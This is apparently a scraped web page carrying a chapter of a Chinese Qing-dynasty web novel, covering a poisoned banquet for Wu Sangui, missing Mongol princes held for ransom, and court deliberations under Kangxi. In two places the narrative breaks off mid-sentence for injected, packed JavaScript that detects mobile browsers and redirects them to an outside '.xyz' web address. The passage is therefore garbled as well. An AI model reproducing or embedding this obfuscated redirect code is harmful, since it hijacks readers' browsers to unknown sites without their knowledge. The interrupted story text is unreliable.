瓦罐里码着竹荪、鸡枞、羊肚菌,都是凌晨刚从大理深山里运来的鲜货,最底下压着块不起眼的老火腿——那是用特殊手法腌过的。 “放心,每样都按规矩来。”另一个厨子正用银簪挑拣菌子,动作看似随意,实则在检查有没有被人动过手脚。 院外传来脚步声,是王府的管事来催菜。 三人立刻低下头,装作专心干活的样子,只有为首的厨子抬头应了句:“快了,山珍汤得慢炖,急不得。” 太监瞥了眼瓦罐,见里面汤色清亮,香气醇厚,没看出异样,嘟囔了句“快点”就走了。 等他走远,第三个厨子才冷笑一声,“今晚这宴,说是祝寿,实则是站队。咱们这汤,得给该喝的人。” 暮色渐浓时,百桌宴席在王府的演武场摆开。 火把照亮了吴三桂的鎏金座椅,也照亮了文武官员们各怀心思的脸。 当厨子们端着瓦罐上前,揭开盖子的瞬间,山珍的鲜香混着淡淡的药味飘散开。 火把从演武场四周的旗杆上垂下来,焰光腾腾地舔着夜空,将那“平西王府”四个金字匾额照得发亮,也照亮了席间文武官员们紧绷的脸。 吴三桂坐在最上首的鎏金大椅上,一身紫貂蟒袍,腰间悬着先帝赐的玉腰带。 他端着酒杯,目光扫过底下——云南巡抚、提督、各府知府、总兵……该来的都来了,连几个一直称病的老臣,今晚也强撑着来了。 席间的菜早换了三波,滇味的乳扇、宣威火腿炖乌骨鸡堆得像小山,可没人真有心思吃,筷子在碗里拨来拨去,眼神总往吴三桂脸上瞟。 “都愣着干什么?”吴三桂忽然笑了,声音洪亮得压过了火把的噼啪声,“今晚是本王的寿宴,没那么多规矩!来,干了这杯!” 他仰头饮尽,酒杯重重磕在案上,发出“咚”的一声。 官员们连忙举杯,酒液洒在衣襟上都没察觉。 刚放下杯,就见几个穿着素色短打的厨子端着瓦罐上前,掀开盖子时,一股清鲜的香气瞬间漫开——竹荪、鸡枞、羊肚菌在乳白的汤里浮着,底下沉着块老火腿,切开的断面隐约能看见细小红丝,像极了滇地特有的胭脂红。 “这是大理深山里的鲜货,”吴三桂指了指汤罐,“尝尝,过了这季就没了。” 巡抚刚舀了一勺,就被吴三桂的话打断:“诸位在云南待得久了,可知京里近来有些风声?”他慢悠悠地用银匙搅着汤,“说本王拥兵自重,说本王想谋逆……你们信吗?” 席间霎时静得能听见火把烧裂的声响,提督攥紧了拳头,指节发白;知府们低着头,额角的汗滴进汤碗里,溅起细小的涟漪。 “本王追随先帝三十年,从山海关打到云南,功勋能摆满一座山!”吴三桂猛地拍案,银匙“当啷”落地,“如今鸟尽弓藏,兔死狗烹?真当本王是好拿捏的?” 他目光如刀,扫过每一张脸:“今晚请诸位来,不是逼谁,是想问问——你们是愿跟着本王,守住这云南的安稳,还是想等着京里的刀砍到脖子上?” 演武场的风突然大了,火把被吹得噼啪作响,将众人的影子在地上拉得忽长忽短。 有人端起山珍汤一饮而尽,抹了把嘴高声道:“末将愿追随王爷!” 紧接着,附和声此起彼伏,像滚雪球似的越来越响。 吴三桂看着席间渐渐统一的神色,嘴角勾起一抹笑意,又舀了一勺山珍汤。 汤里的山珍鲜得发甜,可他尝着,却像尝到了血的味道——这场宴,这碗汤,从一开始就不是为了祝寿。 远处的更夫敲了三更,王府的灯笼在风里摇晃,映得演武场像片燃烧的火海。 而那几个翻云会的厨子,已经悄然退到了后厨,三步两步,就没了踪影。 与此同时,京城里,丢了建宁长公主和她的儿子。 一夜之间,府上只剩下病的要死的吴应熊。 带兵前来府上拿人的刑部主事也麻爪了,赶紧回去禀报。 宫里头,康熙本来要走一波流程,开春是要拿那平西王世子祭旗的。这般,来的才会是刑部。 没想到世子还在,长公主丢了。 无独有偶,草原上,科尔沁与巴林丢了两队送货的人马。 这本是入冬前最后一批日用物资,分别送漠北和漠西的,价值甚巨。 秋末的草原已经带了霜气,巴林部和科尔沁的帐篷连在一起,像两朵挨得极近的云。 前几日,太皇太后刚调解完两部的商路争端,正坐在主帐里喝茶,看着内务府的运输队伍与两位亲王的人交接——茶砖堆成小山,盐袋白得晃眼,还有些江南来的绸缎,在风里飘得像花。 “还是皇额娘有办法。”雅图公主笑着给母亲添茶,她的丈夫卓礼克图亲王正站在帐外,指挥着手下清点货物。 这次交易要分两路走,一路往漠北,一路去漠西,都是肥差,他特意派了自己最得力的副手,连随身的腰牌都给了那人。 阿图公主的丈夫巴林郡王也不含糊,他拍着胸脯跟太皇太后保证:“您放心,这趟路我们走了十来年,闭着眼都能摸到地方。”他让心腹揣了部落的令牌,说凭这个,沿途的哨卡都会放行。 太皇太后点点头,目光扫过帐内的太后和皇后珠兰,“有他们盯着,这商路就能稳当些。” 可谁也没料到,这稳当竟碎得这样快。 先是往漠北的队伍没了消息,按说这会儿该到土谢图汗部了,却连个报平安的信使都没回来。 接着,去漠西的那队也没了音信,像是被草原的风卷走了,连点痕迹都没留下。 两位副手都是跟着主子多年的老人,别说货物,就是他们自己,亲人都在部落,也绝不可能见利忘义就这么凭空消失。 “岂有此理!”卓礼克图亲王气得摔了马鞭,在帐外踱来踱去。 太皇太后、太后、皇后都在这儿看着,他的人丢了,脸都被踩在地上了。 巴林郡王也红了眼:“定是哪个不长眼的部落动了手!” 两人没等太皇太后发话,各自点了五百骑兵,带着弓箭和刀,气势汹汹地追了出去,同去的还有恰好来朝见的科尔沁三等台吉阿郁锡。 “天黑前定把人带回来!”这是他们临走前撂下的话。 雅图公主站在帐口,望着丈夫的背影消失在远处的沙丘后,心里突突地跳。她的长子没了后,连着得了三个女儿,还没有承爵之人,总是没有安全感。 阿图公主紧紧攥着帕子,指尖都掐白了:“不会有事的,他们马术好,又带着兵……”话虽这么说,声音却发虚,总有些不好的预感。 可太阳落了又升,升了又落,别说人,连一根马毛都没回来。 三五天不见报信的人影,骑兵队也失踪了…… 雅图公主瘫坐在毡子上,不敢相信自己的耳朵。那是她的丈夫,是科尔沁最勇猛的骑手,在这片草原上,谁不给他几分面子?怎么会说没就没了? 阿图公主扑到太皇太后面前,眼泪唰地就下来了:“皇额娘,他们……他们怎么会没消息?巴林部的地界,谁敢动我们的人?” 帐内一片死寂,只有帐外的风呜呜地叫,像在哭。 太皇太后端着茶杯的手微微颤抖,茶盏里的水晃出了圈涟漪。 太后别过脸,眼圈红了——漠南之外,到底藏着什么?竟能让两支精锐队伍,连个求救的信号都发不出来?她求救似的看向上首的太皇太后,怎么这趟归家如此不顺。 珠兰看着两位公主煞白的脸,面上仿佛也沉得厉害。 雅图忽然抓住阿图的手,声音发颤:“去找,我们自己去找!”可话刚出口,她就软了——她们连人往哪走的都不知道,这茫茫草原,找谁去?可若是丈夫没了,她在草原上真的就没有依靠了。 秋霜落在帐篷顶上,结了层白。两位公主望着丈夫消失的方向,第一次觉得,这片她们熟悉得不能再熟悉的草原,竟陌生得让人害怕。 她们的丈夫,怎么就失踪了?!这简直令人不可置信,即便部落冲突再剧烈,也不会有人对亲王郡王下手的。 这样的烈度,是要打部落大战了。 很明显,这已经超出了两位公主的应对范围。 “不可以回去求援。”雅图公主坚决不同意阿图公主所说,回去部落调兵之事。 她不比阿图,有个十几岁的儿子。她无子,若是丈夫失踪之事传回去,一旦被有心人利用,部落内部动荡,极有可能自己这边要损失不少草场和牛马,甚至丢掉亲王爵位,手上控制的商路也要被迫分给其他旗的人。即便丈夫再回来,也难以回转了。毕竟,丈夫的侄子鄂齐尔,这个与阿图之子同名的家伙,一直对爵位和财富虎视眈眈。 现在朝廷的精力在南,很难抽出手来管她们的。也许,当真是有人要趁着这个空档搞事。雅图公主不相信,没有内鬼的话,自己丈夫怎么可能在漠南的草原上失踪。 “必须封锁消息,咱们慢慢找。”雅图公主稳住妹妹阿图公主,期期艾艾的看向太皇太后,“皇额娘,请您让朝廷大军入草原探查吧。” 太皇太后脸色越发难看,她们一行人出来,也没带多少人马。草原的权力棋局上,没有哪一步是只为“情分”落子的。 此刻,听闻消息赶来的宣妃,她的眼泪像断了线的珠子,砸在毡毯上都带着颤。 她扑在太后面前,指甲几乎要嵌进自己的掌心:“太后!我阿爸也在里面啊!他是来朝拜太皇太后的,不过随着一起出去一趟,怎么就……怎么就没了消息?”她抬起泪眼,脸上满是血丝,“我要去找他,就是掘地三尺,我也要把阿爸找回来!” 太后搂着她发抖的身子,自己的眼泪也止不住地掉。 “傻孩子,傻孩子……”她拍着宣妃的背,声音哽咽,“现在不是冲动的时候,咱们不能大意啊。”她抬眼望向主位上的太皇太后,眼神里满是求助——这么多亲人失踪,她们娘几个被困在草原上,进也不是,退也不是。 宣妃顺着太后的目光看向太皇太后,泪眼朦胧中,只见老人家捏着佛珠的手指关节泛白,平日里温和的眉眼此刻像结了冰的湖面,凝重得让人喘不过气。 帐篷里静得可怕,只有宣妃压抑的啜泣声,雅图姐妹偶尔的喘息,和太皇太后捻动佛珠的“咔哒”声。 “有胆子动咱们的人,还做得这样干净利落……”太皇太后缓缓开口,声音不高,却带着千钧之力,“漠北那些部落,哀家打交道几十年了,没这个豹子胆。”她顿了顿,佛珠在指间转得更快,“最有可能的,是漠西的人。” 太后坐在一旁,攥着帕子。太皇太后的话像一把钥匙,解开了她心里的疑团,是了,定然是漠西那群讨厌的蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141512|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古人来抢夺了。 “但也不能排除……”太皇太后话锋一转,眼神锐利起来,“有人想浑水摸鱼。漠北也好,甚至咱们身边,保不齐就有想借这事挑事的。” 珠兰脸色凝重,却不接话。她拉过跟着宣妃进来的端敏格格,让她坐在自己身边,好好听太皇太后的话。 太皇太后看向帐内众人,“咱们娘几个在这里,是他们的软肋,也是他们的靶子。贸然出去,不是救人,是把自己也搭进去。”可她话锋又变,“但人不能不救,卓礼克图亲王、巴林郡王,还有宣妃的父亲阿郁锡台吉,都是咱们的亲人,是草原的根基,丢不得。” 佛珠停在指间,太皇太后的目光扫过太后、宣妃,最后落在珠兰身上,“现在,得想个万全之策。既要保咱们自身安全,也要把人给找回来。” 帐外的风更紧了,吹得帐篷帆布猎猎作响,像是有无数双眼睛在暗处窥伺。 宣妃停止了哭泣,望着太皇太后,眼里仿佛燃起一丝微弱的光——她知道,此刻能指望的,只有这位历经风浪的老人家了。 珠兰的注意力从表现的过于夸张的阿日娜苏身上移开,敏锐地捕捉到太皇太后投来的目光,那眼神里藏着几分考量——有些话,老人家不便直说,应该是盼着她来接这个话茬。 她当即转向仍在抽泣的阿图公主,语气沉稳,带着安抚人心的力量,“咱们此刻所在的草场,虽说是巴林部与科尔沁部的中间地带,实则更靠近巴林部。敢问公主,这附近的部落,都是您和郡王亲手掌控的亲信吗?部落的勇士们是否可信?” 见阿图公主抬头望来,她又补充道:“若是信得过,可否请公主调集一千骑兵来此?眼下局势不明,总得护着太皇太后的周全才是。” 阿图公主一听,胡乱抹了把眼泪,猛地从雅图公主怀里挣出来,连连点头,声音还带着哭腔,“可信!怎么不可信!这附近几个旗,都是我丈夫和儿子一手带出来的人,跟咱们一条心!别说一千骑兵,就是再添五百,也能立刻召集齐!”她说着就要起身唤人,儿子就在部落里,叫他带人出来就是。 “阿图!”雅图公主脸色一变,连忙伸手按住阿图的胳膊,转头看向珠兰,语气里带着几分焦灼,“皇后娘娘且慢!此刻调兵,若是传出去说是为了寻找失踪的亲王,难保不会让其他部落多想。”她深吸一口气,加重了语气,“草原上的关系盘根错节,牵一发而动全身,调兵之事,切不可擅自妄为啊!” 珠兰脸上不见半分急躁,也没有不悦,“公主的顾虑,我明白。不过我倒有个法子——此次随我们来草原的,有一千包衣护军,都是京里精选出的好手,骑术箭法都不差,只是在京中少有实战机会。” 帐中人皆看着她,有人摸不着头脑,有人若有所思。 她话锋一转,“不如就以‘切磋骑射’为名,请附近部落里的骑兵来此比试一番?一来能让他们顺理成章地护在太皇太后左右,二来也不会显得刻意,您看如何?” 雅图和阿图公主对视一眼,都有些发怔——这关头,皇后竟还想着比试? 但细细琢磨,又觉得这主意实在巧妙。 草原人向来好胜,骑射切磋本就是常事,借这个由头调兵,只是动用一千人马,分批过来,既不会惊动漠北漠西的部落,也不会让本部落的其他贵人起疑心。 两人交换了个眼神,齐齐点头:“此法妥当,就这么办。” 珠兰这才转过身,面向太皇太后,语气郑重了许多,“巴林和科尔沁的骑兵能护住外围安稳,但若要寻回失踪的亲王、郡王,还需得劳烦皇祖母调动佟国纲将军麾下的火器营。” 太皇太后不曾马上接话,抬手示意珠兰继续说。 京城接到信儿,吴三桂病重了。 晨光刚爬上鎏金的龙椅,康熙手里的密折却像块冰,攥得指节发白。 “吴三桂病重?”他低声重复,墨笔在御案上滴了个墨点,晕开成一团乌黑。 密折上的字个个清晰——自寿宴那日起,平西王上吐下泻,连床都下不了,眼看就要不行了;更奇的是,那日赴宴的云南文武官员,无一幸免,全都拉得脱了形,别说离昆明,就是出府门都得扶着墙走。 “怎么会这样?”康熙把密折往案上一摔,锦面都震得发颤。 他原以为对付吴三桂,少不得要动刀兵,没成想,一场寿宴竟变成了“泻药宴”,满座高官集体卧病,这荒唐事,比戏台子上的戏还离奇。 旁边的梁九功大气不敢出,葛布喇倒是不客气,直接去看密折——写折的是安插在云南的眼线,字里行间透着掩不住的诧异与狂喜。 康熙踱到窗前,望着宫墙外的日头,忽然笑了,笑声里带着几分难以置信的轻快,“难道……真是天命?” 他想起太皇太后常说的“天道循环”,想起自己登基以来,三藩的气焰日渐嚣张,云南更是成了吴三桂的独立王国,如今一场怪病,竟把这帮人全困在了昆明,动弹不得。 “传旨,”康熙转身,眼底的迷茫散去,只剩锐利,“随时准备进兵三藩,密切盯着昆明动向。” 梁九功刚要应声,又听康熙补充道:“把这密折给太皇太后送去一份。就说……云南那边,天帮忙了。” 御书房的窗开着,风卷着槐花香飘进来,落在摊开的密折上。 康熙望着窗外的日头,忽然觉得,这看似荒唐的“泻药宴”,或许比十万兵马来得更巧——吴三桂和他的党羽被困在昆明,云南的军政一时群龙无首,这不正是朝廷动手的好时机。 虽然冬季困难重重,但这是老天选的时刻。 他拿起朱笔,在密折上批了个“阅”字,笔尖悬在纸上,又添了句,“查,是谁的手笔。” 不管是天命还是人为,这盘棋,该由他来落子了。 城外庄子上,掌柜们聚集于一处,“吴三桂死了,咱们走下一步。” 70. 救是不救 珠兰顿了顿,条理清晰地说道:“火器营配备了新制的火炮鸟铳,将士们也都是经受过战阵的老兵,装备精良,能征善战。尤其佟国纲将军,更是沙场老将,有勇有谋。若是能让他率领火器营,再请熟悉地形的向导引路,定能尽快寻到失踪的众人。” 太皇太后捏着佛珠的手指微微一顿,抬眼看向珠兰,眼底闪过一丝赞许的光芒。珠兰这番话,正好说到了她心坎里。 “皇后说得是。”太皇太后缓缓颔首,微微咳了一声,语气里带着不容置疑的决断,“佟家的人靠得住,火器营也确实能派上用场。就按你说的办,哀家这就让人拟信,快马传给佟国纲。” 帐内的气氛,因这几句定夺,悄然松快了些许。 宣妃望着珠兰,眼里的慌乱也似乎渐渐褪去,虽然还在啜泣着要阿爸,但也显得平稳了些。 太皇太后扫视一圈,来自京城的皇后,看似不熟悉草原的弯弯绕绕,却总能在乱局中找到最稳妥的出路,比住在草原多年的女儿们,更多了几分临危不乱的气度。索尼的孙女,确实教养的好。 佟国纲的驻地离太皇太后的大帐不过一公里,信使快马加鞭到的时候,他正和副将核对粮草。见是太皇太后的令,只当是寻常传唤,翻身上了匹白马,慢悠悠晃着就来了,马鞍上还挂着刚猎的野雉,打算给太皇太后添个菜。 掀帘进帐时,他脸上还带着笑,可听太皇太后三言两语说清亲王、郡王、台吉接连失踪的事,那笑容“唰”地就僵了。 “咚”一声,他直挺挺半跪在毡毯上,额头抵着地面,后背的甲胄都在发颤。“奴才……奴才这就派斥候去找!”他抬手抹了把额角的汗,声音发紧,“这事……要快马报给皇上?!” “不可!”雅图公主猛地站起身,裙摆扫过案几,带倒了半杯凉茶,“眼下人还没找到,若是消息传回京师,保不齐会被有心人利用,说我们姐妹办事不力,连累亲王遇险!此事绝不能大肆宣扬!” “佟国纲,你发兵去找便是。”阿图公主也急切的说道,“别斥候了,你多安排人去寻吧。若是真有个万一,还要你发大军救人呢。”她是想用自己部落的人,可却必须考虑大姐的处境。 佟国纲跪在地上,心里打了个突。瞒着皇上调动兵马,本就犯了忌讳,可雅图公主的顾虑也在理。他抬头看向太皇太后,眼神里满是犹豫。 太皇太后没说话,只清了清嗓子,从腕上褪下那串盘得发亮的紫檀佛珠,“啪”地丢在佟国纲面前,佛珠上不知何时起竟然串着一块令牌,“拿着哀家的令,点人出发。” 那令牌,分量重得能压垮一座山。佟国纲捡起令牌,沉的直不起腰,却还是梗着脖子,“太皇太后容禀,火器营来了一千人,若是全撒出去寻人,帐外护卫就空了。依奴才看,得留五百人守着您和娘娘们,剩下的五百人再去寻。” 太皇太后眉头一拧,语气沉了几分,“巴林部的骑兵很快就到,护得住。” “那也不成!”佟国纲头埋得更低,声音却没软,“奴才是皇上亲派的护卫统领,若是让太皇太后、太后、皇后娘娘有半分闪失,奴才万死难辞其咎!” 帐内霎时静得能听见烛火噼啪响,太皇太后盯着佟国纲,眼神里已有了怒意,可这位老将硬是梗着脖子,不肯松口。 珠兰适时站起身,走到两人中间,温声道,“佟将军顾虑的是,护卫确实不能少。火器营擅长火炮,步兵本就比骑兵多,不如挑五百骑术精湛、弓马娴熟的,再让包衣护军也出五百人,合练一番,嗯,大军不动,先派斥候探路。” 她顿了顿,看向佟国纲,“若是哪个小队寻到踪迹,再调大部队跟进,既稳妥,也不耽误事,您看?” 这话给了双方台阶,佟国纲嘴唇动了动,没再坚持,可还是抬头道:“寻人的事能依着娘娘,但若不报给皇上……” “草原的事,草原上先了断。”珠兰打断他,语气却留着余地,“该报的自然要报,但‘将在外,君命有所不受’,眼下太皇太后的凤令,您总得先听着。寻到人,稳住局面,再详详细细奏给皇上,才是正理。” 太皇太后的脸色缓了些,却仍沉着脸没说话。 佟国纲看在眼里,知道再犟下去没好果子,终于叩首:“奴才遵令。” 当天下午,火器营挑了五百精骑,包衣护军也点了五百人,合在一起操练起来。端贝勒和贾军师也混了进去,练着练着,这八百人就都听话了,军中强者为尊。 二百斥候们被分成十个小队,每队二十人,各带三天干粮,往漠北、漠西的五个方向去了。 佟国纲特意嘱咐:“两天为限,无论找没找到,都得回来报信。” 可两天过去了,帐外的日头升起又落下,十个小队连个影子都没见着。 佟国纲站在帐外,望着远处空荡荡的草原,手指无意识地攥紧了腰间的佩刀。 他是沙场老将,见过兵败如山倒,却没见过这么邪门的事——前有亲王郡王失踪,如今派出去的精锐也没了音信,像是被草原吞了似的。 风卷着沙砾打在他的甲胄上,发出细碎的声响。 他忽然转身,大步往太皇太后的大帐走,眉头拧得像要滴出水来——再等下去,别说寻人,恐怕他们这些人,都不能再留在此险境了。 帐外的寒风卷着枯草,佟国纲的叩门声在寂静中格外刺耳。帐内传来苏麻喇姑的声音,低哑得像被砂纸磨过:“进吧。” 佟国纲眉头瞬间拧成疙瘩,这位跟着太皇太后几十年的老嬷嬷,向来是泰山崩于前而色不变的,何时有过这般疲惫沙哑? 他心头一紧,莫不是太皇太后…… 掀帘的手都带了颤,帐内光线昏暗,一架描金屏风挡住了视线,屏风后隐约可见软榻上卧着一人,身形消瘦,连盖着的锦被都显得空荡。 “咯噔”一声,佟国纲的心跳几乎停了半拍,膝盖一软就想跪下去。 “佟将军。”苏麻喇姑从屏风后转出来,鬓角的银丝乱了几缕,眼角带着红血丝,她抬手按住他,声音压得极低,“太皇太后……昨儿夜里起不来了。” 佟国纲猛地抬头,满眼不敢置信。 太皇太后夏天虽病过一场,可到了草原后日日见喜,跟着牧民赛马、看鞣皮,气色好得很,怎么会突然…… “御医说,是这几日急火攻心,旧疾犯了。”苏麻喇姑揉了揉发僵的脸颊,“吃不下,喝不进,气血两亏得厉害,连说话都费力气,还在药材是现成的,只是必须静养。” 佟国纲半跪在地上,后背直冒冷汗。 太皇太后病倒,太后六神无主,亲王郡王失踪,派出去的斥候杳无音信……桩桩件件堆在一起,像座山压得他喘不过气。这人生地不熟的地方啊,可怎么办?! 向谁汇报?听谁号令?他正茫然,珠兰从屏风侧转了出来,素色的宫装袖口沾了点药渍,显然是刚侍过疾,脸上虽带倦意,眼神却清明得很。 “佟将军有事?”她开口,声音平稳,像一汪不起波澜的水。 佟国纲心头一定,俯身叩道:“回皇后娘娘,派出去的十队斥候……至今未归。” 珠兰眉头微蹙,指尖在袖口轻轻掐了下:“按路程,昨日就该有消息了。”她沉吟片刻,正要再说些什么,帐外突然传来侍卫的急喊:“娘娘!有一队斥候回来了!” “好!”佟国纲猛地起身,膝盖都麻了,却顾不上揉,对着珠兰行了个礼,倒退着掀帘冲了出去。 珠兰看了眼苏麻喇姑,后者会意地点点头,躬身后退,她便也提步跟了出去。 帐内,苏麻喇姑望着她们的背影,悄悄抹了把额角的冷汗。 软榻后,太后正伏在榻边低泣,双眼红肿得像核桃;雅图和阿图公主跪在地上,手紧紧攥着太皇太后的衣角,脸色惨白如纸;端敏格格一早便带着贾敏出去“散心”,到现在没影子;宣妃被两个侍女按着,还在挣扎,嘴里咕哝“放开我!我去寻阿爸!” 乱成一团的帐内,唯有珠兰转身时那抹沉静的身影,像是根定海神针。 苏麻喇姑叹了口气,重新守回屏风后——这关口,能指望的,真就只有这位皇后娘娘了。 寒风卷着血腥气撞进佟国纲的鼻腔,他刚掀帘出帐,就被眼前的景象攥紧了心——二十个斥候歪歪斜斜地勒住马,甲胄碎的碎、裂的裂,脸上胳膊上全是血污,有两个伤重的,被同僚半搂半抱地压在马背上,连哼唧的力气都没了,垂着的手还在滴血。 “噗通”一声,为首的斥候没等马停稳就滚了下来,膝盖砸在地上,溅起细沙。 他挣扎着往前爬了两步,怀里掏出个血糊糊的绸缎团,举过头顶时,手还在剧烈颤抖:“将……将军!找到……找到亲王了!” 佟国纲大步上前,指尖触到那团绸缎时,烫得像火。 太皇太后巡幸草原,漠南各部早戒了严,马匪绝迹,寻常部落借十个胆子也不敢动科尔沁和巴林部的亲王,除非……他猛地抬头望向大帐,后背沁出冷汗,这莫不是调虎离山?实则冲着帐里三位尊贵的主子来的? “说!到底怎么回事!”他沉声喝问。 那斥候咳着血沫,声音嘶哑:“在……在黑风口峡谷!亲王和郡王们被一伙蒙面人困在里头,峡谷险峻,我们偷偷冲了三次都没进去……后来被发现了,他们说,要科尔沁、巴林部出黄金万两赎人,否则……否则三日内就……” “黄金万两?” 帐帘“唰”地被掀开,雅图和阿图公主冲了出来,裙裾扫过地上的血渍,留下两道暗红的印子。 雅图公主一把抢过那绸缎团,颤抖着展开——上面是她再熟悉不过的字迹,笔锋因剧痛而歪斜,末尾的“公主亲启”四个字,被血浸得发黑发皱。 “是他……是他的字……”她腿一软,差点栽倒,被阿图死死扶住,眼泪砸在血书上,晕开一小片暗红,“万两就万两!别说万两,就是十万两、百万两,我也给!” 她转头对身后的仆从嘶吼,“快!回家!把库房里所有的黄金都运来!快去!” “公主且慢!”佟国纲猛地上前一步,按住那仆从的肩,甲胄相撞发出闷响。 他转向珠兰,躬身行礼,语气凝重如铁,“皇后娘娘,此事绝有蹊跷!” “草原上的部落,向来以马、牛、皮毛易物,黄金对他们不过是缀在帽上的装饰,论实用,还不如壮牛骏马值钱。”他指着那血书,眉头跳得厉害,“他们要黄金万两,这数目大得离谱,更像是……故意说给咱们听的!” 雅图公主红着眼瞪他:“有什么蹊跷?人在他们手里!难道要眼睁睁看着王爷去死?” 佟国纲没看她,只望着珠兰,声音压得更低:“黑风口峡谷易守难攻,他们不提要牲畜、不提要粮草,偏要黄金——这更像是要引咱们往‘凑黄金’上钻,好拖延时间,或是……另有图谋。” 风更紧了,卷着远处的狼嚎,听得人心头发麻。 珠兰望着那队伤痕累累的斥候,又看了眼雅图公主手里的血书。 这黄金万两的赎金,确实像根不怀好意的饵,钓的恐怕不只是两位公主的急切,还有帐内那位重病的太皇太后,和她们所有人的…… 京城 “皇上,其中恐怕有诈。” 乾清宫的朝会正僵着,康熙刚念完云南的密折,底下的大臣们还在窃窃私语,有说“天助大清”的,有琢磨“要不要趁机南下”的,忽然听见角落里传来一声苍老的声音。 众人扭头看去,竟是久不上朝的遏必隆。 他扶着拐杖,花白的胡子抖得厉害,浑浊的眼睛扫过满朝文武,最后落在御座上的康熙身上,声音沙哑却字字清晰:“皇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146014|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老臣以为,此事恐有诈!” “吴三桂经营云南三十年,手下谋士如云,武将如雨,一场寿宴就闹得满座拉稀,连他自己都下不了床?”遏必隆重重顿了下拐杖,金砖地面发出闷响,“这好比说一顿饭能灭了平西王,太可笑了!天下哪有这等便宜事?” 大臣们听着,是这个意思。 皇帝的面目也绷紧了,这话是质疑朕的天命! 遏必隆喘了口气,继续道:“老臣揣度,这怕是吴三桂设的诱饵!故意装病,让咱们觉得云南乱了,放松警惕,甚至派兵冒进——到时候他再杀出,咱们反倒要吃大亏!” 旁边有人想插话,被他挥手拦住:“还有建宁长公主!”遏必隆的声音陡然拔高,带着几分痛心,“她是皇上的姑姑,是吴三桂的儿媳,是死是活?是被吴三桂扣了,还是另有图谋?” 皇帝下颌也绷紧了,建宁公主失踪之事,他还瞒着太皇太后,怕她老人家忧心。吴应熊在,可公主与其子失踪,着实令人想不通。 “这母子俩下落不明,本身就是最大的疑点!”遏必隆眼神里满是焦灼,“吴三桂最擅长用亲眷做文章,当年他降清,不就是打着‘保明室宗亲’的旗号?如今他装病,便是不提建宁公主失踪之事,老臣敢断言,这里头定有圈套!” 朝堂上霎时安静下来,刚才还议论纷纷的大臣们,此刻都皱起了眉。 是啊,吴三桂何等狡诈,怎么会栽在一顿饭上? 建宁长公主的下落更是蹊跷,若是吴三桂真的病重,按常理,也该是吴应熊偷着回云南才是。 康熙手指在龙椅扶手上轻轻敲击,没说话。 遏必隆的话像一盆冷水,让皇帝的疑心升了起来——确实,这事太顺了,顺得不像真的。 遏必隆见皇上沉吟,又道:“依老臣看,不如先按兵不动,派心腹去昆明暗查。一来看看吴三桂是真病还是装病,二来找找建宁长公主的下落。等摸清了底细,再做打算不迟!” 钮钴禄氏沉默太久了,也该发声了,否则满朝都只知道赫舍里,不晓得还有他了。他的拐杖又顿了顿,声音里带着不容置疑的恳切:“云南的水太深,咱们不能凭着一封密折,就往圈套里跳啊!” 御座上的康熙望着阶下这位须发皆白的老臣,想起太皇太后说过的话:“遏必隆虽老,却最是谨慎,关键时刻,他的话可听。” 风从殿外吹进来,卷起地上的几片落叶,在金砖上打着旋。 康熙缓缓开口,声音平静却带着决断:“遏必隆所言有理,传旨,云南之事,暂缓行动。另派御前侍卫,乔装成商人,即刻前往昆明,务必查探清楚吴三桂的虚实,以及建宁长公主母子的下落。” 遏必隆这才松了口气,微微躬身:“皇上圣明。” 海上 海风卷着咸腥味扑在船板上,寿春正用块细布擦着腰间的短刀,刀刃映着她眼底的精光。 船篷下堆着刚收的渔网,腥气里混着姐妹俩的说话声。 “昆明那出戏,可真是妙。”富春蹲在一旁,手里编着草绳,忽然笑出声,“谁能想到,翻云会的厨子藏得那么深,还那么有能力,一锅山珍汤就把吴三桂的人全放倒了。最妙的是,除了吴三桂,他们都只拉肚子,却没马上就死光,局面没有立刻失控,还能等到咱们的人接手。” 她顿了顿,手里的草绳却缠成了死结,“只是……咱们这么干,朝廷怕是马上要派兵南下了吧?到时候刀兵一动,还不是生灵涂炭?” 寿春收起短刀,指尖在船舷上敲了敲,望着远处翻涌的浪头,说道:“傻妹子,你还是不懂朝廷的路数。” 她晓得,船舱里那位也在听着,便说的大声些。 “吴三桂是什么人?三藩之首,经营云南三十年,树大根深。”她转过身,语气里带着几分嘲弄,“大姐儿早就讲过,朝廷里那帮大人,遇着这种超出常理的事,头一件想的不是出兵,是‘讨论’。” “讨论吴三桂是不是真病了,讨论那锅汤里到底加了什么,讨论建宁长公主藏在哪,讨论冒然出兵会不会打草惊蛇。”寿春掰着手指,数得清清楚楚,“然后是‘论证’,让大臣写折子,让大学士拍桌子,让各地督抚递密报,来回拉扯个十天半月,才算完,这是快的。” 她忽然笑了,海风掀起她的发丝,“最后还要‘探查’,派个亲信去昆明,明着是‘慰问’,暗着是摸底。等这人查清楚了,写回密折,又得再讨论、再论证……一套流程走下来,没有两三个月,定不了调子。” 富春听得发怔:“这么慢?” “慢才是朝廷的规矩。”寿春捡起块贝壳,往海里一扔,溅起细小的水花,“他们怕担责任,怕走错棋,更怕吴三桂有后手。咱们这锅汤,看着是把水搅浑了,其实啊,是平白啊给他们添了无数个‘为什么’——越是想不明白,就越不敢动。对他们而言,还不如没有这事儿呢。” 